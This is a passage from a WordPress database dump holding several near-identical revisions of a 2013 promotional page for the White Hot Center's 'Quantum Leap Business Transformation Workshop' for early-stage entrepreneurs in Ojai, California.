09:56:32', '2013-05-22 16:56:32', '', 2261, 'http://www.whitehotcenter.com/2013/05/2261-revision-5/', 0, 'revision', '', 0),
(2265, 2, '2013-05-22 09:53:02', '2013-05-22 16:53:02', '<img class="alignnone size-full wp-image-2262" title="Quantum Leap Workshop" src="http://whc.fbdev.org/wp-content/uploads/2013/05/WHC-Quantum.jpg" alt="" width="490" height="363" />\r\n<h1><span style="color: #808080;">Quantum Leap Business Transformation Workshop 2013</span></h1>\r\n<h2>With so much continued economic uncertainty challenging even the most optimistic and success minded entrepreneurs, business development strategies are more critical than ever. If you’ve been thinking about how to take your business to the next level, consider taking a quantum leap instead.</h2>\r\nA quantum leap is a jump in progress that is exponential rather incremental.  As creative entrepreneurs seek ways to bring new value to the marketplace, many early stage entrepreneurs and solo professionals need insight and guidance to create a strong foundation on which to build their success in this rapidly changing digital age.\r\n\r\nWith that in mind, I am pleased to announce the White Hot Center will once again present its one-day, intensive strategic workshop on creating competitive advantage in your business. If you’re an early stage entrepreneur or solo professional building your business, you won’t want to miss participating in this business transformation opportunity.\r\n\r\n<strong>Breaking the plateau effect.</strong>\r\n\r\nIf you’re stuck, chances are you’ve hit a plateau. The plateau effect is a common state of being in every human endeavor. If you’re growing, eventually you’ll hit a plateau where whatever action got you to the level you’re at, won’t be enough to elevate you to the next level. Breaking the plateau effect is an ongoing stair step process of developing new thinking and actions that have nothing to do with the actions you believe were successful in getting you to this moment.\r\n\r\nThe purpose of our work together will be to equip you with new insights and the tools necessary to get you to your next level breaking the plateau effect you’re currently experiencing.\r\n\r\n<strong>Creating competitive advantage in your business.</strong>\r\n\r\nThrough your participation in the workshop, you’ll gain the knowledge to create real preference for your offerings. To accomplish this, your business must represent a highly valued idea that matters to high value clients and is not available through your competitors. And more importantly, this idea of value your business represents in the minds of your target customers is worthy of commanding premium pricing.\r\n\r\n<strong>What you’ll learn in the Quantum Leap Business Transformation Workshop.</strong>\r\n\r\nLike the name implies, this is a strategic workshop designed to give you the power to transform your business immediately. Here’s what will learn:\r\n\r\n-       The discipline of a success based mindset. Your thinking habits must change if you are to advance your business to the next level. (Jedi level stuff)\r\n\r\n-       Building your vision for a bigger future. You must have clarity and confidence in your value creation ideas and vision for the future.\r\n\r\n-       Uncovering your value. Discovering the real reasons customers/clients buy from you rather than your competitors.\r\n\r\n-       Identify the components underlying your value proposition. Why do you and your business matter to people.\r\n\r\n-       Creating a value proposition and positioning statement that separates your business from the slush pile.\r\n\r\n-       Identifying the qualities and attributes of higher value clients. Increase your value to the right people and make more money doing less. (read that sentence again)\r\n\r\n-       Discover your Genius. The holy grail of personal productivity and effectiveness.\r\n\r\n-       Building your brand and elevating the quality of your presence in the marketplace.\r\n\r\n<strong>Who should attend the Quantum Leap Workshop.</strong>\r\n\r\nThis workshop has been designed specifically for early stage entrepreneurs and solo professionals who have been in business less than two years. Typically participants generate gross incomes of up to $100,000 annually– but they want to double or triple their current income levels. Participants come from diverse business categories in consumer products, business-to-business products, and professional services.\r\n\r\n<strong>The Workshop Date</strong>\r\n\r\nThe workshop will be held in early November 2013. Actual date will lock in on or before August 1, 2013\r\n\r\n<strong>The Venue</strong>\r\n\r\nI will announce the venue in Ojai, California on or before August 31, 2013. The workshop will be held in a very special retreat setting and location. The workshop will include a luncheon and snacks and beverages will be provided throughout the day.\r\n\r\n<strong>Investment:</strong>\r\n\r\n$895.00 USD per person\r\n\r\nSpecial discount of $100 off for early registration prior to September 30, 2013\r\n\r\nAdditional discount of $50 off for each additional person in your firm prior to September 30, 2013.\r\n\r\nTuition fee must be paid 30 days in advance of the Workshop. No refunds or credits within 14 days of the workshop. Tuition includes Workshop Materials, Luncheon, and Snacks served throughout the day at the venue.\r\n<h2><strong>Early Registration</strong></h2>\r\n<h2><strong>Send me an email and we’ll get right back to you with the full information on the venue location, accomodations, and how confirm your spot in early registration prior to September 30, 2013. This workshop has limited capacity and will fill up quickly. This workshop is limited to 24 participants.</strong></h2>\r\n<h2><strong>Early Register is Open Now!</strong></h2>', 'Break the Plateau Effect and Transform Your Business.', 0, '', 'inherit', 'open', 'open', '', '2261-revision-3', '', '', '2013-05-22 09:53:02', '2013-05-22 16:53:02', '', 2261, 'http://www.whitehotcenter.com/2013/05/2261-revision-3/', 0, 'revision', '', 0),
(2266, 2, '2013-05-22 09:53:10', '2013-05-22 16:53:10', '<img class="alignnone size-full wp-image-2262" title="Quantum Leap Workshop" src="http://whc.fbdev.org/wp-content/uploads/2013/05/WHC-Quantum.jpg" alt="" width="490" height="363" />\r\n<h1><span style="color: #808080;">Quantum Leap Business Transformation Workshop 2013</span></h1>\r\n<h2>With so much continued economic uncertainty challenging even the most optimistic and success minded entrepreneurs, business development strategies are more critical than ever. If you’ve been thinking about how to take your business to the next level, consider taking a quantum leap instead.</h2>\r\nA quantum leap is a jump in progress that is exponential rather incremental.  As creative entrepreneurs seek ways to bring new value to the marketplace, many early stage entrepreneurs and solo professionals need insight and guidance to create a strong foundation on which to build their success in this rapidly changing digital age.\r\n\r\nWith that in mind, I am pleased to announce the White Hot Center will once again present its one-day, intensive strategic workshop on creating competitive advantage in your business. If you’re an early stage entrepreneur or solo professional building your business, you won’t want to miss participating in this business transformation opportunity.\r\n\r\n<strong>Breaking the plateau effect.</strong>\r\n\r\nIf you’re stuck, chances are you’ve hit a plateau. The plateau effect is a common state of being in every human endeavor. If you’re growing, eventually you’ll hit a plateau where whatever action got you to the level you’re at, won’t be enough to elevate you to the next level. Breaking the plateau effect is an ongoing stair step process of developing new thinking and actions that have nothing to do with the actions you believe were successful in getting you to this moment.\r\n\r\nThe purpose of our work together will be to equip you with new insights and the tools necessary to get you to your next level breaking the plateau effect you’re currently experiencing.\r\n\r\n<strong>Creating competitive advantage in your business.</strong>\r\n\r\nThrough your participation in the workshop, you’ll gain the knowledge to create real preference for your offerings. To accomplish this, your business must represent a highly valued idea that matters to high value clients and is not available through your competitors. And more importantly, this idea of value your business represents in the minds of your target customers is worthy of commanding premium pricing.\r\n\r\n<strong>What you’ll learn in the Quantum Leap Business Transformation Workshop.</strong>\r\n\r\nLike the name implies, this is a strategic workshop designed to give you the power to transform your business immediately. Here’s what will learn:\r\n\r\n-       The discipline of a success based mindset. Your thinking habits must change if you are to advance your business to the next level. (Jedi level stuff)\r\n\r\n-       Building your vision for a bigger future. You must have clarity and confidence in your value creation ideas and vision for the future.\r\n\r\n-       Uncovering your value. Discovering the real reasons customers/clients buy from you rather than your competitors.\r\n\r\n-       Identify the components underlying your value proposition. Why do you and your business matter to people.\r\n\r\n-       Creating a value proposition and positioning statement that separates your business from the slush pile.\r\n\r\n-       Identifying the qualities and attributes of higher value clients. Increase your value to the right people and make more money doing less. (read that sentence again)\r\n\r\n-       Discover your Genius. The holy grail of personal productivity and effectiveness.\r\n\r\n-       Building your brand and elevating the quality of your presence in the marketplace.\r\n\r\n<strong>Who should attend the Quantum Leap Workshop.</strong>\r\n\r\nThis workshop has been designed specifically for early stage entrepreneurs and solo professionals who have been in business less than two years. Typically participants generate gross incomes of up to $100,000 annually– but they want to double or triple their current income levels. Participants come from diverse business categories in consumer products, business-to-business products, and professional services.\r\n\r\n<strong>The Workshop Date</strong>\r\n\r\nThe workshop will be held in early November 2013. Actual date will lock in on or before August 1, 2013\r\n\r\n<strong>The Venue</strong>\r\n\r\nI will announce the venue in Ojai, California on or before August 31, 2013. The workshop will be held in a very special retreat setting and location. The workshop will include a luncheon and snacks and beverages will be provided throughout the day.\r\n\r\n<strong>Investment:</strong>\r\n\r\n$895.00 USD per person\r\n\r\nSpecial discount of $100 off for early registration prior to September 30, 2013\r\n\r\nAdditional discount of $50 off for each additional person in your firm prior to September 30, 2013.\r\n\r\nTuition fee must be paid 30 days in advance of the Workshop. No refunds or credits within 14 days of the workshop. Tuition includes Workshop Materials, Luncheon, and Snacks served throughout the day at the venue.\r\n<h2><strong>Early Registration</strong></h2>\r\n<h2><strong>Send me an email and we’ll get right back to you with the full information on the venue location, accomodations, and how confirm your spot in early registration prior to September 30, 2013. This workshop has limited capacity and will fill up quickly. This workshop is limited to 24 participants.</strong></h2>\r\n<h2><strong>Early Register is Open Now!</strong></h2>', 'Break the Plateau Effect and Transform Your Business.', 0, '', 'inherit', 'open', 'open', '', '2261-revision-4', '', '', '2013-05-22 09:53:10', '2013-05-22 16:53:10', '', 2261, 'http://www.whitehotcenter.com/2013/05/2261-revision-4/', 0, 'revision', '', 0),
(2268, 2, '2013-05-22 09:56:40', '2013-05-22 16:56:40', '<img class="alignnone size-full wp-image-2262" title="Quantum Leap Workshop" src="http://whc.fbdev.org/wp-content/uploads/2013/05/WHC-Quantum.jpg" alt="" width="490" height="363" />\r\n<h1><span style="color: #808080;">Quantum Leap Business Transformation Workshop 2013</span></h1>\r\n<h2>With so much continued economic uncertainty challenging even the most optimistic and success minded entrepreneurs, business development strategies are more critical than ever. If you’ve been thinking about how to take your business to the next level, consider taking a quantum leap instead.</h2>\r\nA quantum leap is a jump in progress that is exponential rather incremental.  As creative entrepreneurs seek ways to bring new value to the marketplace, many early stage entrepreneurs and solo professionals need insight and guidance to create a strong foundation on which to build their success in this rapidly changing digital age.\r\n\r\nWith that in mind, I am pleased to announce the White Hot Center will once again present its one-day, intensive strategic workshop on creating competitive advantage in your business. If you’re an early stage entrepreneur or solo professional building your business, you won’t want to miss participating in this business transformation opportunity.\r\n\r\n<strong>Breaking the plateau effect.</strong>\r\n\r\nIf you’re stuck, chances are you’ve hit a plateau. The plateau effect is a common state of being in every human endeavor. If you’re growing, eventually you’ll hit a plateau where whatever action got you to the level you’re at, won’t be enough to elevate you to the next level. Breaking the plateau effect is an ongoing stair step process of developing new thinking and actions that have nothing to do with the actions you believe were successful in getting you to this moment.\r\n\r\nThe purpose of our work together will be to equip you with new insights and the tools necessary to get you to your next level breaking the plateau effect you’re currently experiencing.\r\n\r\n<strong>Creating competitive advantage in your business.</strong>\r\n\r\nThrough your participation in the workshop, you’ll gain the knowledge to create real preference for your offerings. To accomplish this, your business must represent a highly valued idea that matters to high value clients and is not available through your competitors. And more importantly, this idea of value your business represents in the minds of your target customers is worthy of commanding premium pricing.\r\n\r\n<strong>What you’ll learn in the Quantum Leap Business Transformation Workshop.</strong>\r\n\r\nLike the name implies, this is a strategic workshop designed to give you the power to transform your business immediately. Here’s what will learn:\r\n\r\n-       The discipline of a success based mindset. Your thinking habits must change if you are to advance your business to the next level. (Jedi level stuff)\r\n\r\n-       Building your vision for a bigger future. You must have clarity and confidence in your value creation ideas and vision for the future.\r\n\r\n-       Uncovering your value. Discovering the real reasons customers/clients buy from you rather than your competitors.\r\n\r\n-       Identify the components underlying your value proposition. Why do you and your business matter to people.\r\n\r\n-       Creating a value proposition and positioning statement that separates your business from the slush pile.\r\n\r\n-       Identifying the qualities and attributes of higher value clients. Increase your value to the right people and make more money doing less. (read that sentence again)\r\n\r\n-       Discover your Genius. The holy grail of personal productivity and effectiveness.\r\n\r\n-       Building your brand and elevating the quality of your presence in the marketplace.\r\n\r\n<strong>Who should attend the Quantum Leap Workshop.</strong>\r\n\r\nThis workshop has been designed specifically for early stage entrepreneurs and solo professionals who have been in business less than two years. Typically participants generate gross incomes of up to $100,000 annually– but they want to double or triple their current income levels. Participants come from diverse business categories in consumer products, business-to-business products, and professional services.\r\n\r\n<strong>The Workshop Date</strong>\r\n\r\nThe workshop will be held November 8th, 2013.\r\n\r\n<strong>The Venue</strong>\r\n\r\nI will announce the venue in Ojai, California on or before August 31, 2013. The workshop will be held in a very special retreat setting and location. The workshop will include a luncheon and snacks and beverages will be provided throughout the day.\r\n\r\n<strong>Investment:</strong>\r\n\r\n$895.00 USD per person\r\n\r\nSpecial discount of $100 off for early registration prior to September 30, 2013\r\n\r\nAdditional discount of $50 off for each additional person in your firm prior to September 30, 2013.\r\n\r\nTuition fee must be paid 30 days in advance of the Workshop. No refunds or credits within 14 days of the workshop. Tuition includes Workshop Materials, Luncheon, and Snacks served throughout the day at the venue.\r\n<h2><strong>Early Registration</strong></h2>\r\n<h2><strong>Send me an email and we’ll get right back to you with the full information on the venue location, accomodations, and how confirm your spot in early registration prior to September 30, 2013. This workshop has limited capacity and will fill up quickly. This workshop is limited to 24 participants.</strong></h2>\r\n<h2><strong>Early Register is Open Now!</strong></h2>', 'Break the Plateau Effect and Transform Your Business.', 0, '', 'inherit', 'open', 'open', '', '2261-revision-6', '', '', '2013-05-22 09:56:40', '2013-05-22 16:56:40', '', 2261, 'http://www.whitehotcenter.com/2013/05/2261-revision-6/', 0, 'revision', '', 0),
(2269, 2, '2013-05-22 18:36:22', '2013-05-23 01:36:22', '<img class="alignnone size-full wp-image-2262" title="Quantum Leap Workshop" src="http://whc.fbdev.org/wp-content/uploads/2013/05/WHC-Quantum.jpg" alt="" width="490" height="363" />\n<h1><span style="color: #808080;">Quantum Leap Business Transformation Workshop for Early Stage Entrepreneurs and Solo Professionals, Novemeber 8th 2013.</span></h1>\n<h2>With so much continued economic uncertainty challenging even the most optimistic and success minded entrepreneurs, business development strategies are more critical than ever. If you’ve been thinking about how to take your business to the next level, consider taking a quantum leap instead.</h2>\nA quantum leap is a jump in progress that is exponential rather incremental.  As creative entrepreneurs seek ways to bring new value to the marketplace, many early stage entrepreneurs and solo professionals need insight and guidance to create a strong foundation on which to build their success in this rapidly changing digital age.\n\nWith that in mind, I am pleased to announce the White Hot Center will once again present its one-day, intensive strategic workshop on creating competitive advantage in your business. If you’re an early stage entrepreneur or solo professional building your business, you won’t want to miss participating in this business transformation opportunity.\n\n<strong>Breaking the plateau effect.</strong>\n\nIf you’re stuck, chances are you’ve hit a plateau. The plateau effect is a common state of being in every human endeavor. If you’re growing, eventually you’ll hit a plateau where whatever action got you to the level you’re at, won’t be enough to elevate you to the next level. Breaking the plateau effect is an ongoing stair step process of developing new thinking and actions that have nothing to do with the actions you believe were successful in getting you to this moment.\n\nThe purpose of our work together will be to equip you with new insights and the tools necessary to get you to your next level breaking the plateau effect you’re currently experiencing.\n\n<strong>Creating competitive advantage in your business.</strong>\n\nThrough your participation in the workshop, you’ll gain the knowledge to create real preference for your offerings. To accomplish this, your business must represent a highly valued idea that matters to high value clients and is not available through your competitors. And more importantly, this idea of value your business represents in the minds of your target customers is worthy of commanding premium pricing.\n\n<strong>What you’ll learn in the Quantum Leap Business Transformation Workshop.</strong>\n\nLike the name implies, this is a strategic workshop designed to give you the power to transform your business immediately. Here’s what will learn:\n\n-       The discipline of a success based mindset. Your thinking habits must change if you are to advance your business to the next level. (Jedi level stuff)\n\n-       Building your vision for a bigger future. You must have clarity and confidence in your value creation ideas and vision for the future.\n\n-       Uncovering your value. Discovering the real reasons customers/clients buy from you rather than your competitors.\n\n-       Identify the components underlying your value proposition. Why do you and your business matter to people.\n\n-       Creating a value proposition and positioning statement that separates your business from the slush pile.\n\n-       Identifying the qualities and attributes of higher value clients. Increase your value to the right people and make more money doing less. (read that sentence again)\n\n-       Discover your Genius. The holy grail of personal productivity and effectiveness.\n\n-       Building your brand and elevating the quality of your presence in the marketplace.\n\n<strong>Who should attend the Quantum Leap Workshop.</strong>\n\nThis workshop has been designed specifically for early stage entrepreneurs and solo professionals who have been in business less than two years. Typically participants generate gross incomes of up to $100,000 annually– but they want to double or triple their current income levels. Participants come from diverse business categories in consumer products, business-to-business products, and professional services.\n\n<strong>The Workshop Date</strong>\n\nThe workshop will be held November 8th, 2013.\n\n<strong>The Venue</strong>\n\nI will announce the venue in Ojai, California on or before August 31, 2013. The workshop will be held in a very special retreat setting and location. The workshop will include a luncheon and snacks and beverages will be provided throughout the day.\n\n<strong>Investment:</strong>\n\n$995.00 USD per person\n\nSpecial discount of $100 off for early registration prior to September 30, 2013\n\nAdditional discount of $50 off for each additional person in your firm prior to September 30, 2013.\n\nTuition fee must be paid 30 days in advance of the Workshop. No refunds or credits within 14 days of the workshop. Tuition includes Workshop Materials, Luncheon, and Snacks served throughout the day at the venue.\n<h2><strong>Early Registration</strong></h2>\n<h2><strong>Send me an email and we’ll get right back to you with the full information on the venue location, accomodations, and how confirm your spot in early registration prior to September 30, 2013. This workshop has limited capacity and will fill up quickly. This workshop is limited to 24 participants.</strong></h2>\n<h2><strong>Early Register is Open Now!</strong></h2>', 'Break the Plateau Effect and Transform Your Business.', 0, '', 'inherit', 'open', 'open', '', '2261-revision-7', '', '', '2013-05-22 18:36:22', '2013-05-23 01:36:22', '', 2261, 'http://www.whitehotcenter.com/2013/05/2261-revision-7/', 0, 'revision', '', 0),
(2270, 2, '2013-05-22 18:46:50', '2013-05-23 01:46:50', '<img class="alignnone size-full wp-image-2262" title="Quantum Leap Workshop" src="http://whc.fbdev.org/wp-content/uploads/2013/05/WHC-Quantum.jpg" alt="" width="490" height="363" />\n<h1><span style="color: #808080;">Quantum Leap Business Transformation Workshop for Early Stage Entrepreneurs and Solo Professionals, Novemeber 8th 2013.</span></h1>\n<h2>With so much continued economic uncertainty challenging even the most optimistic and success minded entrepreneurs, business development strategies are more critical than ever. If you’ve been thinking about how to take your business to the next level, consider taking a quantum leap.</h2>\nA quantum leap is a jump in progress that is exponential rather incremental.  As creative entrepreneurs seek ways to bring new value to the marketplace, many early stage entrepreneurs and solo professionals need insight and guidance to create a strong foundation on which to build their success in this rapidly changing digital age.\n\nWith that in mind, I am pleased to announce the White Hot Center will once again present its one-day, intensive strategic workshop on creating competitive advantage in your business. If you’re an early stage entrepreneur or solo professional building your business, you won’t want to miss participating in this business transformation opportunity.\n\n<strong>Breaking the plateau effect.</strong>\n\nIf you’re stuck, chances are you’ve hit a plateau. The plateau effect is a common state of being in every human endeavor. If you’re growing, eventually you’ll hit a plateau where whatever action got you to the level you’re currently at, it won’t be enough to elevate you to the next level. Breaking the plateau effect is an ongoing stair step process of developing new thinking and actions that have nothing to do with the actions you believe were successful in getting you to this moment. Has it occurred to you that it is possible to skip ahead a few levels?\n\nThe purpose of our work together will be to equip you with new insights and the tools necessary to break the plateau effect you’re currently experiencing.\n\n<strong>Creating competitive advantage in your business.</strong>\n\nThis educational workshop will enable you to gain the knowledge to create real preference for your offerings. To accomplish this, your business must represent a highly valued idea that matters to high value clients and is not available through your competitors. And more importantly, this idea of value your business represents in the minds of your target customers is worthy of commanding premium pricing. It''s no fun clawing your way to the middle!\n\n<strong>What you’ll learn in the Quantum Leap Business Transformation Workshop.</strong>\n\nLike the name implies, this is a strategic workshop designed to give you the power to transform your business immediately and exponentially. Here’s what will learn:\n\n-       The discipline of a success-based mindset. Your thinking habits must change to advance your business to the next level and beyond. (Jedi level stuff)\n\n-       Build your vision for a bigger future. You must have clarity and confidence in your value creation ideas and vision for the future.\n\n-       Uncovering your value. Discover the real reasons customers/clients buy from you rather than your competitors.\n\n-       Identify the components underlying your value proposition. Why do you and your business matter to people.\n\n-       Creating a value proposition and a strategic positioning statement that separates your business from the slush pile and informs and guides your actions and behavior.\n\n-       Identifying the qualities and attributes of higher value clients. Increase your value to the right people and make more money doing less. (read that sentence again)\n\n-       Discover your Genius. The holy grail of personal productivity and effectiveness.\n\n-       Building your brand to elevate the quality of your presence in the marketplace.\n\n<strong>Who should attend the Quantum Leap Workshop.</strong>\n\nThis workshop has been designed specifically for early stage entrepreneurs and solo professionals who have been in business less than two years. Typically participants generate gross incomes of up to $100,000 annually– but they want to double or triple their current income levels. Participants come from diverse business categories in consumer products, business-to-business products, and professional services.\n\n<strong>The Workshop Date</strong>\n\nThe workshop will be held November 8th, 2013.\n\n<strong>The Venue</strong>\n\nI will announce the venue in Ojai, California on or before August 31, 2013. The workshop will be held in a very special retreat setting and location. The workshop will include a luncheon and snacks and beverages will be provided throughout the day.\n\n<strong>Investment:</strong>\n\n$995.00 USD per person\n\nSpecial discount of $100 off for early registration prior to September 30, 2013\n\nAdditional discount of $50 off for each additional person in your firm prior to September 30, 2013.\n\nTuition fee must be paid 30 days in advance of the Workshop. No refunds or credits within 14 days of the workshop. Tuition includes Workshop Materials, Luncheon, and Snacks served throughout the day at the venue.\n<h2><strong>Early Registration</strong></h2>\n<h2><strong>Send me an email and we’ll get right back to you with the full information on the venue location, accomodations, and how confirm your spot in early registration prior to September 30, 2013. This workshop has limited capacity and will fill up quickly. This workshop is limited to 24 participants.</strong></h2>\n<h2><strong>Early Register is Open Now!</strong></h2>', 'Break the Plateau Effect and Transform Your Business.', 0, '', 'inherit', 'open', 'open', '', '2261-revision-8', '', '', '2013-05-22 18:46:50', '2013-05-23 01:46:50', '', 2261, 'http://www.whitehotcenter.com/2013/05/2261-revision-8/', 0, 'revision', '', 0);
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(2271, 2, '2013-05-22 19:45:51', '2013-05-23 02:45:51', '<img class="alignnone size-full wp-image-2262" title="Quantum Leap Workshop" src="http://whc.fbdev.org/wp-content/uploads/2013/05/WHC-Quantum.jpg" alt="" width="490" height="363" />\n<h1><span style="color: #808080;">Quantum Leap Business Transformation Workshop for Early Stage Entrepreneurs and Solo Professionals, Novemeber 8th 2013.</span></h1>\n<h2>With so much continued economic uncertainty challenging even the most optimistic and success minded entrepreneurs, business development strategies and action are more critical than ever. If you’ve been thinking about how to take your business to the next level, consider taking a quantum leap.</h2>\nA quantum leap is a jump in progress that is exponential rather incremental.  As creative entrepreneurs seek ways to bring new value to the marketplace, many early stage entrepreneurs and solo professionals need insight and guidance to create a strong foundation on which to build their success in this rapidly changing digital age.\n\nWith that in mind, I am pleased to announce the White Hot Center will once again present its one-day, intensive strategic workshop on creating competitive advantage in your business. If you’re an early stage entrepreneur or solo professional building your business, you won’t want to miss participating in this business transformation opportunity.\n\n<strong>Breaking the plateau effect.</strong>\n\nIf you’re stuck, chances are you’ve hit a plateau. The plateau effect is a common state of being in every human endeavor. If you’re growing, eventually you’ll hit a plateau where whatever action got you to the level you’re currently at, it won’t be enough to elevate you to the next level. Breaking the plateau effect is an ongoing stair step process of developing new thinking and actions that have nothing to do with the actions you believe were successful in getting you to this moment. Has it occurred to you that it is possible to skip ahead a few levels?\n\nThe purpose of our work together will be to equip you with new insights and the tools necessary to break the plateau effect you’re currently experiencing.\n\n<strong>Creating competitive advantage in your business.</strong>\n\nThis educational workshop will enable you to gain the knowledge to create real preference for your offerings. To accomplish this, your business must represent a highly valued idea that matters to high value clients and is not available through your competitors. And more importantly, this idea of value your business represents in the minds of your target customers is worthy of commanding premium pricing. It''s no fun clawing your way to the middle!\n\n<strong>What you’ll learn in the Quantum Leap Business Transformation Workshop.</strong>\n\nLike the name implies, this is a strategic workshop designed to give you the power to transform your business immediately and exponentially. Here’s what will learn:\n\n-       The discipline of a success-based mindset. Your thinking habits must change to advance your business to the next level and beyond. (Jedi level stuff)\n\n-       Build your vision for a bigger future. You must have clarity and confidence in your value creation ideas and vision for the future.\n\n-       Uncovering your value. Discover the real reasons customers/clients buy from you rather than your competitors.\n\n-       Identify the components underlying your value proposition. Why do you and your business matter to people.\n\n-       Creating a value proposition and a strategic positioning statement that separates your business from the slush pile and informs and guides your actions and behavior.\n\n-       Identifying the qualities and attributes of higher value clients. Increase your value to the right people and make more money doing less. (read that sentence again)\n\n-       Discover your Genius. The holy grail of personal productivity and effectiveness.\n\n-       Building your brand to elevate the quality of your presence in the marketplace.\n\n<strong>Who should attend the Quantum Leap Workshop.</strong>\n\nThis workshop has been designed specifically for early stage entrepreneurs and solo professionals who have been in business less than two years. Typically participants generate gross incomes of up to $100,000 annually– but they want to double or triple their current income levels. Participants come from diverse business categories in consumer products, business-to-business products, and professional services.\n\n<strong>The Workshop Date</strong>\n\nThe workshop will be held November 8th, 2013.\n\n<strong>The Venue</strong>\n\nI will announce the venue in Ojai, California on or before August 31, 2013. The workshop will be held in a very special retreat setting and location. The workshop will include a luncheon and snacks and beverages will be provided throughout the day.\n\n<strong>Investment:</strong>\n\n$995.00 USD per person\n\nSpecial discount of $100 off for early registration prior to September 30, 2013\n\nAdditional discount of $50 off for each additional person in your firm prior to September 30, 2013.\n\nTuition fee must be paid 30 days in advance of the Workshop. No refunds or credits within 14 days of the workshop. Tuition includes Workshop Materials, Luncheon, and Snacks served throughout the day at the venue.\n<h2><strong>Early Registration</strong></h2>\n<h2><strong>Send me an email and we’ll get right back to you with the full information on the venue location, accomodations, and how confirm your spot in early registration prior to September 30, 2013. This workshop has limited capacity and will fill up quickly. This workshop is limited to 24 participants.</strong></h2>\n<h2><strong>Early Register is Open Now!</strong></h2>', 'Break the Plateau Effect and Transform Your Business for a Bigger future.', 0, '', 'inherit', 'open', 'open', '', '2261-revision-9', '', '', '2013-05-22 19:45:51', '2013-05-23 02:45:51', '', 2261, 'http://www.whitehotcenter.com/2013/05/2261-revision-9/', 0, 'revision', '', 0),
(2272, 2, '2013-05-22 19:46:00', '2013-05-23 02:46:00', '<img class="alignnone size-full wp-image-2262" title="Quantum Leap Workshop" src="http://whc.fbdev.org/wp-content/uploads/2013/05/WHC-Quantum.jpg" alt="" width="490" height="363" />\r\n<h1><span style="color: #808080;">Quantum Leap Business Transformation Workshop for Early Stage Entrepreneurs and Solo Professionals, Novemeber 8th 2013.</span></h1>\r\n<h2>With so much continued economic uncertainty challenging even the most optimistic and success minded entrepreneurs, business development strategies and action are more critical than ever. If you’ve been thinking about how to take your business to the next level, consider taking a quantum leap.</h2>\r\nA quantum leap is a jump in progress that is exponential rather incremental.  As creative entrepreneurs seek ways to bring new value to the marketplace, many early stage entrepreneurs and solo professionals need insight and guidance to create a strong foundation on which to build their success in this rapidly changing digital age.\r\n\r\nWith that in mind, I am pleased to announce the White Hot Center will once again present its one-day, intensive strategic workshop on creating competitive advantage in your business. If you’re an early stage entrepreneur or solo professional building your business, you won’t want to miss participating in this business transformation opportunity.\r\n\r\n<strong>Breaking the plateau effect.</strong>\r\n\r\nIf you’re stuck, chances are you’ve hit a plateau. The plateau effect is a common state of being in every human endeavor. If you’re growing, eventually you’ll hit a plateau where whatever action got you to the level you’re currently at, it won’t be enough to elevate you to the next level. Breaking the plateau effect is an ongoing stair step process of developing new thinking and actions that have nothing to do with the actions you believe were successful in getting you to this moment. Has it occurred to you that it is possible to skip ahead a few levels?\r\n\r\nThe purpose of our work together will be to equip you with new insights and the tools necessary to break the plateau effect you’re currently experiencing.\r\n\r\n<strong>Creating competitive advantage in your business.</strong>\r\n\r\nThis educational workshop will enable you to gain the knowledge to create real preference for your offerings. To accomplish this, your business must represent a highly valued idea that matters to high value clients and is not available through your competitors. And more importantly, this idea of value your business represents in the minds of your target customers is worthy of commanding premium pricing. It''s no fun clawing your way to the middle!\r\n\r\n<strong>What you’ll learn in the Quantum Leap Business Transformation Workshop.</strong>\r\n\r\nLike the name implies, this is a strategic workshop designed to give you the power to transform your business immediately and exponentially. Here’s what will learn:\r\n\r\n-       The discipline of a success-based mindset. Your thinking habits must change to advance your business to the next level and beyond. (Jedi level stuff)\r\n\r\n-       Build your vision for a bigger future. You must have clarity and confidence in your value creation ideas and vision for the future.\r\n\r\n-       Uncovering your value. Discover the real reasons customers/clients buy from you rather than your competitors.\r\n\r\n-       Identify the components underlying your value proposition. Why do you and your business matter to people.\r\n\r\n-       Creating a value proposition and a strategic positioning statement that separates your business from the slush pile and informs and guides your actions and behavior.\r\n\r\n-       Identifying the qualities and attributes of higher value clients. Increase your value to the right people and make more money doing less. (read that sentence again)\r\n\r\n-       Discover your Genius. The holy grail of personal productivity and effectiveness.\r\n\r\n-       Building your brand to elevate the quality of your presence in the marketplace.\r\n\r\n<strong>Who should attend the Quantum Leap Workshop.</strong>\r\n\r\nThis workshop has been designed specifically for early stage entrepreneurs and solo professionals who have been in business less than two years. Typically participants generate gross incomes of up to $100,000 annually– but they want to double or triple their current income levels. Participants come from diverse business categories in consumer products, business-to-business products, and professional services.\r\n\r\n<strong>The Workshop Date</strong>\r\n\r\nThe workshop will be held November 8th, 2013.\r\n\r\n<strong>The Venue</strong>\r\n\r\nI will announce the venue in Ojai, California on or before August 31, 2013. The workshop will be held in a very special retreat setting and location. The workshop will include a luncheon and snacks and beverages will be provided throughout the day.\r\n\r\n<strong>Investment:</strong>\r\n\r\n$995.00 USD per person\r\n\r\nSpecial discount of $100 off for early registration prior to September 30, 2013\r\n\r\nAdditional discount of $50 off for each additional person in your firm prior to September 30, 2013.\r\n\r\nTuition fee must be paid 30 days in advance of the Workshop. No refunds or credits within 14 days of the workshop. Tuition includes Workshop Materials, Luncheon, and Snacks served throughout the day at the venue.\r\n<h2><strong>Early Registration</strong></h2>\r\n<h2><strong>Send me an email and we’ll get right back to you with the full information on the venue location, accomodations, and how confirm your spot in early registration prior to September 30, 2013. This workshop has limited capacity and will fill up quickly. This workshop is limited to 24 participants.</strong></h2>\r\n<h2><strong>Early Register is Open Now!</strong></h2>', 'Break the Plateau Effect and Transform Your Business for a Bigger Future.', 0, '', 'inherit', 'open', 'open', '', '2261-revision-10', '', '', '2013-05-22 19:46:00', '2013-05-23 02:46:00', '', 2261, 'http://www.whitehotcenter.com/2013/05/2261-revision-10/', 0, 'revision', '', 0),
